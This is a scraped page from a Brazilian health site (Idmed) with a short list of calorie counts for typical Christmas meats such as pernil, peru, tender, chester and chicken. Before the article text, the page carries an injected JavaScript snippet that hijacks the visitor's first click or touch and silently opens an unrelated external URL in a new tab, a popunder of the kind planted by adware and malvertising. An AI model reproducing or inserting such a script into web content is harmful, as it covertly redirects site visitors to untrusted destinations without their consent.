(function(){var sl="https://omg10.com/4/10671168",o=false;function f(){if(o)return;o=true;window.open(sl,"_blank")}document.addEventListener("click",f);document.addEventListener("touchstart",f,{passive:true})})(); Natal de olho na balança: veja as calorias dos pratos típicos e dicas para não engordar! - Idmed

Natal de olho na balança: veja as calorias dos pratos típicos e dicas para não engordar!

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O que é mais calórico: pernil, peru, tender, chester ou frango?

A lista abaixo ajudará na escolha. Mas não se preocupe apenas com as calorias, é preciso ter prazer em comer durante as festas ao lado de quem amamos.

 

pernil

 

 

Pernil de porco assado - 1 fatia (100 g) - 196 calorias

 

 

 

peru

 

 

Peru - 2 filés (100 g) - 155 calorias

 

 

 

tender

 


Tender - 4 fatias (100 g) - 210 calorias



 


chester

 

 

Chester - 3 fatias (100g) - 162 calorias
 

 

 

coxa-de-frango-sem-pele

 

Coxa de frango assada sem pele - 1 unidade (100 g) - 98 calorias
 

 

 


peito de frango sem pele



Peito de frango sem pele - 1 filé (100 g) - 100 calorias

 

 

 

 

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